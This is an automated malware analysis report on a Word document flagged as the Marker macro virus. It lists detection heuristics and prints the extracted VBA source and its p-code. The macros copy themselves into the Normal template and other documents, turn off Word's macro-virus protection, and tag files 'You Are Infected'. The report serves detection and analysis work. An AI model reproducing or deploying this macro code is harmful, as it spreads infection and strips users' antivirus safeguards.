Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7ab5215a2f889674…

MALICIOUS

Office (OLE)

83.0 KB Created: 2006-04-03 00:02:00 Authoring application: Microsoft Word 8.0 First seen: 2014-03-22
MD5: a48c936ab9b0d393988016485283c7c9 SHA-1: 06201b05757143e5e49cc4f0cd6c73dc9fba64d0 SHA-256: 7ab5215a2f8896746ec75644a50f39bc67966f58c874b964a00e302132734186
244 Risk Score

Heuristics 7

  • ClamAV: Doc.Trojan.Marker-40 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-40
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 35084 bytes
SHA-256: 917a7c84a760c5e9f12b1af12b9154d426ab2fc746764b98c87527746f8230fe
Detection
ClamAV: Doc.Trojan.Marker-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Const x15 = ":-D you are marked!"
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    Application.Caption = "Happy Birthday Shankar-25th July.The World may Forget but not me"
    x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
    If x10 = vbYes Then
        MsgBox "Thank You! I Love You. You are wonderfull."
    Else
        MsgBox " You are Heart Less." & vbCrLf & "You Will Be Punished For This", vbCritical
    End If
End If
If x3 = True Then
    x13 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
End If

If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then

      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
        x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
        x6.CodeModule.AddFromString x11
        With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
     x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
     x5.CodeModule.AddFromString x11
     With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
     If x1 = True Then ActiveDocument.Save
   End If
  
    
End If

End Sub

Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
With Selection.Font: x16 = .Size: .Size = 72: .ColorIndex = wdGreen: .Animation = wdAnimationSparkleText: Selection.InsertAfter "Happy BirthDay Shankar": Selection.MoveDown Unit:=wdScreen, Count:=2: .Size = x16: .ColorIndex = wdAuto: .Animation = wdAnimationNone: End With
End If
End Sub

Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
End If
End Sub


























































































Attribute VB_Name = "bdoc2"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = True
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(i).Name = "bdoc2" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(i).Name = "bdoc2" Then ActivInstall = True
Next i
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Doc.VBProject.VBComponents("bdoc2").Export ("c:\bdoc2.txt")

If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If

Label_Exit:
CommandBars("Tools").Enabled = True
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Sub AutoClose()
On Error Resume Next
If Day(Now) = 2 And Month(Now) = 9 Then MsgBox "УАФ¶µДЧЈёЈ , ЙъИХїмАЦ!!!", vbCritical
Application.DisplayAlerts = wdAlertsNone
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "bdoc2" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "bdoc2" Then ActiveInstall = True
Next i
If ActiveInstall = True And NormInstall = True Then GoTo Label_Exit
If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
Label_Exit:
End Sub

Public Sub AutoExec()
On Error Resume Next
CommandBars("Tools").Enabled = True
Application.DisplayAlerts = wdAlertsNone
Application.ScreenUpdating = False
Options.VirusProtection = False
End Sub
Sub AutoExit()
On Error Resume Next
Kill ("c:\bdoc2.txt")
If Day(Now) = 13 Then MsgBox "ЗлК№УГµБ°жИнјю,Press OK!!", vbCritical
End Sub


Attribute VB_Name = "bdoc21"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = True
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(i).Name = "bdoc2" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(i).Name = "bdoc2" Then ActivInstall = True
Next i
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Doc.VBProject.VBComponents("bdoc2").Export ("c:\bdoc2.txt")

If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If

Label_Exit:
CommandBars("Tools").Enabled = True
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Sub AutoClose()
On Error Resume Next
If Day(Now) = 2 And Month(Now) = 9 Then MsgBox "УАФ¶µДЧЈёЈ , ЙъИХїмАЦ!!!", vbCritical
Application.DisplayAlerts = wdAlertsNone
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "bdoc2" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "bdoc2" Then ActiveInstall = True
Next i
If ActiveInstall = True And NormInstall = True Then GoTo Label_Exit
If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
Label_Exit:
End Sub

Public Sub AutoExec()
On Error Resume Next
CommandBars("Tools").Enabled = True
Application.DisplayAlerts = wdAlertsNone
Application.ScreenUpdating = False
Options.VirusProtection = False
End Sub
Sub AutoExit()
On Error Resume Next
Kill ("c:\bdoc2.txt")
If Day(Now) = 13 Then MsgBox "ЗлК№УГµБ°жИнјю,Press OK!!", vbCritical
End Sub


' Processing file: /opt/analyzer/scan_staging/cc65fc833c054ce19c5d967df881e0ca.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 9047 bytes
' Line #0:
' 	Dim 
' 	VarDefn x1
' 	VarDefn x2
' 	VarDefn x3
' 	VarDefn x4 (As Boolean)
' Line #1:
' 	Dim 
' 	VarDefn x5
' 	VarDefn x6 (As Object)
' Line #2:
' 	Dim 
' 	VarDefn x7
' 	VarDefn x8
' 	VarDefn x16 (As Integer)
' Line #3:
' 	Dim 
' 	VarDefn x9 (As Date)
' Line #4:
' 	Dim 
' 	VarDefn x10
' 	VarDefn x11
' 	VarDefn x12
' 	VarDefn x13
' 	VarDefn x14 (As String)
' Line #5:
' 	Dim (Const) 
' 	LitStr 0x0013 ":-D you are marked!"
' 	VarDefn x15
' Line #6:
' 	FuncDefn (Private Sub Document_Close())
' Line #7:
' 	OnError (Resume Next) 
' Line #8:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set x5 
' Line #9:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set x6 
' Line #10:
' 	Ld x15 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x2710 
' 	LitDI2 0x2710 
' 	Ld x5 
' 	MemLd CodeModule 
' 	ArgsMemLd Find 0x0005 
' 	St x3 
' Line #11:
' 	Ld x15 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x2710 
' 	LitDI2 0x2710 
' 	Ld x6 
' 	MemLd CodeModule 
' 	ArgsMemLd Find 0x0005 
' 	St x4 
' Line #12:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #13:
' 	ArgsLd Now 0x0000 
' 	St x9 
' Line #14:
' 	Ld x9 
' 	ArgsLd Day 0x0001 
' 	St x7 
' Line #15:
' 	Ld x9 
' 	ArgsLd Month 0x0001 
' 	St x8 
' Line #16:
' 	Ld x7 
' 	LitDI2 0x0017 
' 	Ge 
' 	Ld x8 
' 	LitDI2 0x0007 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #17:
' 	LitStr 0x0040 "Happy Birthday Shankar-25th July.The World may Forget but not me"
' 	Ld Application 
' 	MemSt Caption 
' Line #18:
' 	LitStr 0x0026 "Did You Wish Shankar on his Birthday ?"
' 	Ld vbYesNo 
' 	ArgsLd MsgBox 0x0002 
' 	St x10 
' Line #19:
' 	Ld x10 
' 	Ld vbYes 
' 	Eq 
' 	IfBlock 
' Line #20:
' 	LitStr 0x002A "Thank You! I Love You. You are wonderfull."
' 	ArgsCall MsgBox 0x0001 
' Line #21:
' 	ElseBlock 
' Line #22:
' 	LitStr 0x0014 " You are Heart Less."
' 	Ld vbCrLf 
' 	Concat 
' 	LitStr 0x001D "You Will Be Punished For This"
' 	Concat 
' 	Ld vbCritical 
' 	ArgsCall MsgBox 0x0002 
' Line #23:
' 	EndIfBlock 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	Ld x3 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #26:
' 	LitDI2 0x0001 
' 	Ld x5 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	Ld x5 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St x13 
' Line #27:
' 	Ld x4 
' 	LitVarSpecial (True)
' 	Eq 
' 	ElseIfBlock 
' Line #28:
' 	LitDI2 0x0001 
' 	Ld x6 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	Ld x6 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St x13 
' Line #29:
' 	EndIfBlock 
' Line #30:
' Line #31:
' 	LineCont 0x0008 0B 00 03 00 12 00 03 00
' 	Ld x3 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld x4 
' 	LitVarSpecial (True)
' 	Eq 
' 	Xor 
' 	Paren 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatDocument 
' 	Eq 
' 	Ld ActiveDocument 
' 	MemLd SaveFormat 
' 	Ld wdFormatTemplate 
' 	Eq 
' 	Or 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #32:
' Line #33:
' 	Ld x3 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #34:
' 	Ld NormalTemplate 
' 	MemLd Saved 
' 	St x2 
' Line #35:
' 	LitDI2 0x0001 
' 	Ld x5 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	Ld x5 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St x11 
' Line #36:
' 	LitDI2 0x0001 
' 	Ld x6 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	Ld x6 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #37:
' 	Ld x11 
' 	Ld x6 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #38:
' 	StartWithExpr 
' 	Ld wdDialogFileSummaryInfo 
' 	ArgsLd Dialogs 0x0001 
' 	With 
' 	BoS 0x0000 
' 	LitStr 0x0012 "Are You suprised ?"
' 	MemStWith Title 
' 	BoS 0x0000 
' 	LitStr 0x0009 "Birthday "
' 	MemStWith Subject 
' 	BoS 0x0000 
' 	LitStr 0x0003 "LSK"
' 	MemStWith Author 
' 	BoS 0x0000 
' 	LitStr 0x0010 "You Are Infected"
' 	MemStWith Category 
' 	BoS 0x0000 
' 	LitStr 0x0008 "Birthday"
' 	MemStWith Keywords 
' 	BoS 0x0000 
' 	LitStr 0x0040 "Shankar's Birthday falls on 25th July.  Don't Forget to wish him"
' 	MemStWith Comments 
' 	BoS 0x0000 
' 	ArgsMemCallWith Execute 0x0000 
' 	BoS 0x0000 
' 	EndWith 
' Line #39:
' 	Ld x2 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld NormalTemplate 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #40:
' 	EndIfBlock 
' Line #41:
' 	Ld x4 
' 	LitVarSpecial (True)
' 	Eq 
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	Or 
' 	IfBlock 
' Line #42:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St x1 
' Line #43:
' 	LitDI2 0x0001 
' 	Ld x6 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	Ld x6 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	St x11 
' Line #44:
' 	LitDI2 0x0001 
' 	Ld x5 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	Ld x5 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #45:
' 	Ld x11 
' 	Ld x5 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromString 0x0001 
' Line #46:
' 	StartWithExpr 
' 	Ld wdDialogFileSummaryInfo 
' 	ArgsLd Dialogs 0x0001 
' 	With 
' 	BoS 0x0000 
' 	LitStr 0x0012 "Are You suprised ?"
' 	MemStWith Title 
' 	BoS 0x0000 
' 	LitStr 0x0009 "Birthday "
' 	MemStWith Subject 
' 	BoS 0x0000 
' 	LitStr 0x0003 "LSK"
' 	MemStWith Author 
' 	BoS 0x0000 
' 	LitStr 0x0010 "You Are Infected"
' 	MemStWith Category 
' 	BoS 0x0000 
' 	LitStr 0x0008 "Birthday"
' 	MemStWith Keywords 
' 	BoS 0x0000 
' 	LitStr 0x0040 "Shankar's Birthday falls on 25th July.  Don't Forget to wish him"
' 	MemStWith Comments 
' 	BoS 0x0000 
' 	ArgsMemCallWith Execute 0x0000 
' 	BoS 0x0000 
' 	EndWith 
' Line #47:
' 	Ld x1 
' 	LitVarSpecial (True)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #48:
' 	EndIfBlock 
' Line #49:
' Line #50:
' Line #51:
' 	EndIfBlock 
' Line #52:
' Line #53:
' 	EndSub 
' Line #54:
' Line #55:
' 	FuncDefn (Private Sub Document_New())
' Line #56:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set x5 
' Line #57:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set x6 
' Line #58:
' 	Ld x15 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x2710 
' 	LitDI2 0x2710 
' 	Ld x5 
' 	MemLd CodeModule 
' 	ArgsMemLd Find 0x0005 
' 	St x3 
' Line #59:
' 	Ld x15 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x2710 
' 	LitDI2 0x2710 
' 	Ld x6 
' 	MemLd CodeModule 
' 	ArgsMemLd Find 0x0005 
' 	St x4 
' Line #60:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #61:
' 	Ld x4 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #62:
' 	LitDI2 0x0001 
' 	Ld x6 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	Ld x6 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #63:
' 	EndIfBlock 
' Line #64:
' 	Ld x3 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #65:
' 	LitDI2 0x0001 
' 	Ld x5 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	Ld x5 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #66:
' 	EndIfBlock 
' Line #67:
' Line #68:
' 	ArgsLd Now 0x0000 
' 	St x9 
' Line #69:
' 	Ld x9 
' 	ArgsLd Day 0x0001 
' 	St x7 
' Line #70:
' 	Ld x9 
' 	ArgsLd Month 0x0001 
' 	St x8 
' Line #71:
' 	Ld x7 
' 	LitDI2 0x0017 
' 	Ge 
' 	Ld x8 
' 	LitDI2 0x0007 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #72:
' 	StartWithExpr 
' 	Ld Selection 
' 	MemLd Font 
' 	With 
' 	BoS 0x0000 
' 	MemLdWith Size 
' 	St x16 
' 	BoS 0x0000 
' 	LitDI2 0x0048 
' 	MemStWith Size 
' 	BoS 0x0000 
' 	Ld wdGreen 
' 	MemStWith ColorIndex 
' 	BoS 0x0000 
' 	Ld wdAnimationSparkleText 
' 	MemStWith Animation 
' 	BoS 0x0000 
' 	LitStr 0x0016 "Happy BirthDay Shankar"
' 	Ld Selection 
' 	ArgsMemCall InsertAfter 0x0001 
' 	BoS 0x0000 
' 	Ld wdScreen 
' 	ParamNamed Unit 
' 	LitDI2 0x0002 
' 	ParamNamed Count 
' 	Ld Selection 
' 	ArgsMemCall MoveDown 0x0002 
' 	BoS 0x0000 
' 	Ld x16 
' 	MemStWith Size 
' 	BoS 0x0000 
' 	Ld wdAuto 
' 	MemStWith ColorIndex 
' 	BoS 0x0000 
' 	Ld wdAnimationNone 
' 	MemStWith Animation 
' 	BoS 0x0000 
' 	EndWith 
' Line #73:
' 	EndIfBlock 
' Line #74:
' 	EndSub 
' Line #75:
' Line #76:
' 	FuncDefn (Private Sub Document_Open())
' Line #77:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set x5 
' Line #78:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set x6 
' Line #79:
' 	Ld x15 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x2710 
' 	LitDI2 0x2710 
' 	Ld x5 
' 	MemLd CodeModule 
' 	ArgsMemLd Find 0x0005 
' 	St x3 
' Line #80:
' 	Ld x15 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x2710 
' 	LitDI2 0x2710 
' 	Ld x6 
' 	MemLd CodeModule 
' 	ArgsMemLd Find 0x0005 
' 	St x4 
' Line #81:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	MemStWith SaveNormalPrompt 
' 	BoS 0x0000 
' 	EndWith 
' Line #82:
' 	Ld x4 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #83:
' 	LitDI2 0x0001 
' 	Ld x6 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	Ld x6 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #84:
' 	EndIfBlock 
' Line #85:
' 	Ld x3 
' 	LitVarSpecial (False)
' 	Eq 
' 	IfBlock 
' Line #86:
' 	LitDI2 0x0001 
' 	Ld x5 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	Ld x5 
' 	MemLd CodeModule 
' 	ArgsMemCall DeleteLines 0x0002 
' Line #87:
' 	EndIfBlock 
' Line #88:
' Line #89:
' 	ArgsLd Now 0x0000 
' 	St x9 
' Line #90:
' 	Ld x9 
' 	ArgsLd Day 0x0001 
' 	St x7 
' Line #91:
' 	Ld x9 
' 	ArgsLd Month 0x0001 
' 	St x8 
' Line #92:
' 	Ld x7 
' 	LitDI2 0x0017 
' 	Ge 
' 	Ld x8 
' 	LitDI2 0x0007 
' 	Eq 
' 	And 
' 	IfBlock 
' Line #93:
' 	LitStr 0x0026 "Did You Wish Shankar on his Birthday ?"
' 	Ld vbYesNo 
' 	ArgsLd MsgBox 0x0002 
' 	St x10 
' Line #94:
' 	EndIfBlock 
' Line #95:
' 	EndSub 
' Line #96:
' Line #97:
' Line #98:
' Line #99:
' Line #100:
' Line #101:
' Line #102:
' Line #103:
' Line #104:
' Line #105:
' Line #106:
' Line #107:
' Line #108:
' Line #109:
' Line #110:
' Line #111:
' Line #112:
' Line #113:
' Line #114:
' Line #115:
' Line #116:
' Line #117:
' Line #118:
' Line #119:
' Line #120:
' Line #121:
' Line #122:
' Line #123:
' Line #124:
' Line #125:
' Line #126:
' Line #127:
' Line #128:
' Line #129:
' Line #130:
' Line #131:
' Line #132:
' Line #133:
' Line #134:
' Line #135:
' Line #136:
' Line #137:
' Line #138:
' Line #139:
' Line #140:
' Line #141:
' Line #142:
' Line #143:
' Line #144:
' Line #145:
' Line #146:
' Line #147:
' Line #148:
' Line #149:
' Line #150:
' Line #151:
' Line #152:
' Line #153:
' Line #154:
' Line #155:
…

Open this report in the interactive analyzer, or submit your own file for analysis.